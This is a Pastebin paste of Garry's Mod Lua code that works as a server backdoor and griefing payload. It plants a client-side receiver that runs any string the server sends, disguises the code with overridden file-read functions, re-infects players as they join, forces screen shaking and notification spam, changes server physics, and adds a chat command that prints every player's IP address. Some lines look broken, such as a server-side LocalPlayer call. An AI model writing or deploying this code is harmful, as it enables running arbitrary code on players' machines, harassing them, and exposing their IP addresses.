Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- util.AddNetworkString("Rayman3")
- function payload( ply )
- ply:SendLua( "net.Receive([[Rayman3]], function() RunString(net.ReadString()) end)" )
- end
- local bypass = [=====[
- if !fRead then
- fRead=file.Read
- fOpen=file.Open
- end
- file.Open=function(fn,fm,path)
- loh=nil
- loh=string.Explode("/",fn)
- if (loh[2]&&(loh[#loh-1]=="lua"&&(string.find(loh[#loh],".lua") || string.find(loh[#loh],".txt")) || loh[#loh-1]=="scripthook")) || loh[1]&&(string.find(loh[1],".lua") || string.find(loh[1],".txt"))&&path =="LUA" || string.find(fn,"scripthook/") then
- chat.AddText("someone tried using file.open to get your "..fn.." with the PATH: "..path.." and file mode: "..fm..".")
- return ""
- else
- return fOpen(fn,fm,path)
- end
- end
- file.Read=function(fn,path)
- loh=nil
- loh=string.Explode("/",fn)
- if (loh[2]&&(loh[#loh-1]=="lua"&&(string.find(loh[#loh],".lua") || string.find(loh[#loh],".txt")) || loh[#loh-1]=="scripthook")) || loh[1]&&(string.find(loh[1],".lua") || string.find(loh[1],".txt"))&&path=="LUA" || string.find(fn,"scripthook/") then
- chat.AddText("someone tried grabbing ur file named "..fn..".")
- return ""
- else
- return fRead(fn,path)
- end
- end
- ]=====]
- function runcode(ply, code)
- net.Start( "Rayman3" )
- net.WriteString("if SERVER then return '' end "..bypass.." "..code )
- net.Send( ply )
- end
- for k, v in pairs( player.GetAll() ) do
- payload( v )
- end
- function run_chaos()
- hook.Add( "PlayerAuthed", "wat", function( ply )
- payload(ply)
- end )
- BroadcastLua([[sound.PlayURL( "https://furgbgmod.webou.net/librairie/RaymanFunky.m4a", "stereo", function() end )]])
- -- ton code ici --
- RunConsoleCommand( "sv_gravity", "200" )
- RunConsoleCommand( "sv_friction", "-3" )
- end
- if !hook.GetTable().PlayerInitialSpawn.podsos then
- hook.Add("PlayerInitialSpawn", "podsos", function()
- timer.Simple(10, function()
- run_chaos()
- end)
- end)
- run_chaos()
- end
- for k,v in pairs(player.GetAll() ) do
- timer.Create("textoncenter", 26.1, 0, function()
- runcode(v, [==[
- util.ScreenShake( LocalPlayer():GetPos(), 30, 30, 999999, 10000 )
- ]==])
- end)
- end
- for k, ply in pairs( player.GetAll() ) do
- ply:ChatPrint( "Rayman a rejoint la partie" )
- ply:ChatPrint( "Globux a rejoint la partie" )
- ply:ChatPrint( "Murfy a rejoint la partie" )
- ply:ChatPrint( "Les Ptizêtres a rejoint la partie" )
- ply:ChatPrint( "Les Fées a rejoint la partie" )
- ply:ChatPrint( "Les docteurs a rejoint la partie" )
- ply:ChatPrint( "André a rejoint la partie" )
- ply:ChatPrint( "Les Hoodlums a rejoint la partie" )
- ply:ChatPrint( "Les Crabes Ninja a rejoint la partie" )
- ply:ChatPrint( "Les Podocrocks a rejoint la partie" )
- ply:ChatPrint( "Les Piranhas a rejoint la partie" )
- ply:ChatPrint( "Les Bouillaboues a rejoint la partie" )
- ply:ChatPrint( "Les Ronces géantes a rejoint la partie" )
- ply:ChatPrint( "Les Poulets-Zombies a rejoint la partie" )
- ply:ChatPrint( "Les Knaarens a rejoint la partie" )
- ply:ChatPrint( "Le Xowar a rejoint la partie" )
- ply:ChatPrint( "Master Kaag a rejoint la partie" )
- ply:ChatPrint( "Bégoniax a rejoint la partie" )
- ply:ChatPrint( "Razoff a rejoint la partie" )
- ply:ChatPrint( "Céloche l'Araignée Métallique a rejoint la partie" )
- ply:ChatPrint( "Gumsi a rejoint la partie" )
- ply:ChatPrint( "Reflux a rejoint la partie" )
- ply:ChatPrint( "L'Horrible Machine a rejoint la partie" )
- ply:ChatPrint( "Le Leptys a rejoint la partie" )
- end
- for k,v in pairs(player.GetAll() ) do
- timer.Create("notifspam", 1.1, 0, function()
- local vars2 = { "NOTIFY_GENERIC" , "NOTIFY_ERROR" , "NOTIFY_UNDO" , "NOTIFY_HINT", "NOTIFY_CLEANUP" }
- local vars3 = {"Globox","Rayman","Murfy","Les Ptizêtres","Les Fées", "Les docteurs","André","Les Hoodlums","Les Crabes Ninja","Les Podocrocks","Les Piranhas","Les Bouillaboues","Les Ronces géantes","Les Poulets-Zombies","Les Knaarens","Le Xowar","Master Kaag","Bégoniax","Razoff","Céloche l'Araignée Métallique","Gumsi","Reflux","L'Horrible Machine","Le Leptys","Globox","Rayman","Murfy","Les Ptizêtres","Les Fées", "Les docteurs","André","Les Hoodlums","Les Crabes Ninja","Les Podocrocks","Les Piranhas","Les Bouillaboues","Les Ronces géantes","Les Poulets-Zombies","Les Knaarens","Le Xowar","Master Kaag","Bégoniax","Razoff","Céloche l'Araignée Métallique","Gumsi","Reflux","L'Horrible Machine","Le Leptys"}
- runcode(v, [==[
- notification.AddLegacy( "]==]..vars3[math.random(1,#vars3)]..[==[", NOTIFY_GENERIC , 2 )
- notification.AddLegacy( "]==]..vars3[math.random(1,#vars3)]..[==[", NOTIFY_ERROR , 2 )
- notification.AddLegacy( "]==]..vars3[math.random(1,#vars3)]..[==[", NOTIFY_UNDO , 2 )
- notification.AddLegacy( "]==]..vars3[math.random(1,#vars3)]..[==[", NOTIFY_HINT , 2 )
- notification.AddLegacy( "]==]..vars3[math.random(1,#vars3)]..[==[", NOTIFY_CLEANUP , 2 )
- ]==])
- timer.Create( "spamnotifafter", 0.1, 0, function()
- runcode(v, [==[
- notification.AddLegacy( "]==]..vars3[math.random(1,#vars3)]..[==[", ]==]..vars2[math.random(1,#vars2)]..[==[ , 2 )
- ]==])
- end)
- end)
- end
- local ray = {}
- function ray:RandomString( intMin, intMax )
- local ret = ""
- for _ = 1, math.random( intMin, intMax ) do
- ret = ret.. string.char( math.random(65, 90) )
- end
- return ret
- end
- for k, ply in pairs( player.GetAll() ) do
- ply:ChatPrint( "Rayman a rejoint la partie" )
- ply:ChatPrint( "Globux a rejoint la partie" )
- ply:ChatPrint( "Murfy a rejoint la partie" )
- ply:ChatPrint( "Les Ptizêtres a rejoint la partie" )
- ply:ChatPrint( "Les Fées a rejoint la partie" )
- ply:ChatPrint( "Les docteurs a rejoint la partie" )
- ply:ChatPrint( "André a rejoint la partie" )
- ply:ChatPrint( "Les Hoodlums a rejoint la partie" )
- ply:ChatPrint( "Les Crabes Ninja a rejoint la partie" )
- ply:ChatPrint( "Les Podocrocks a rejoint la partie" )
- ply:ChatPrint( "Les Piranhas a rejoint la partie" )
- ply:ChatPrint( "Les Bouillaboues a rejoint la partie" )
- ply:ChatPrint( "Les Ronces géantes a rejoint la partie" )
- ply:ChatPrint( "Les Poulets-Zombies a rejoint la partie" )
- ply:ChatPrint( "Les Knaarens a rejoint la partie" )
- ply:ChatPrint( "Le Xowar a rejoint la partie" )
- ply:ChatPrint( "Master Kaag a rejoint la partie" )
- ply:ChatPrint( "Bégoniax a rejoint la partie" )
- ply:ChatPrint( "Razoff a rejoint la partie" )
- ply:ChatPrint( "Céloche l'Araignée Métallique a rejoint la partie" )
- ply:ChatPrint( "Gumsi a rejoint la partie" )
- ply:ChatPrint( "Reflux a rejoint la partie" )
- ply:ChatPrint( "L'Horrible Machine a rejoint la partie" )
- ply:ChatPrint( "Le Leptys a rejoint la partie" )
- end
- for k,v in pairs(player.GetAll() ) do
- timer.Create("textoncenter", 26.1, 0, function()
- runcode(v, [==[
- util.ScreenShake( LocalPlayer():GetPos(), 30, 30, 999999, 10000 )
- ]==])
- end)
- end
- for k,v in pairs(player.GetAll() ) do
- timer.Create("textoncenter", 26.1, 0, function()
- runcode(v, [==[
- util.ScreenShake( LocalPlayer():GetPos(), 30, 30, 9999999, 100000 )
- ]==])
- end)
- end
- ray.m_tblActions = {}
- ray.m_strImageGlobalVar = ray:RandomString( 6, 12 )
- ray.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
- function ray:PushAction( intChainDelay, func )
- self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
- end
- hook.Add( "PlayerSay", "Print All IPs", function( pSender, strText, bTeamChat )
- if strText:sub( 1, 5 ) == "/IPs" then
- pSender:PostLua( [[
- local id = ]] .. LocalPlayer():UserID() .. [[
- for k, v in pairs( player.GetAll() ) do
- Player( id ):ChatPrint( "Player: " .. v:Nick() .. " (" .. v:SteamID() .. ") IP: " .. v:IPAddress() )
- end
- ]] )
- pSender:Notify( "Printed all IPs into chat." )
- end
- end)
Advertisement
Add Comment
Please, Sign In to add comment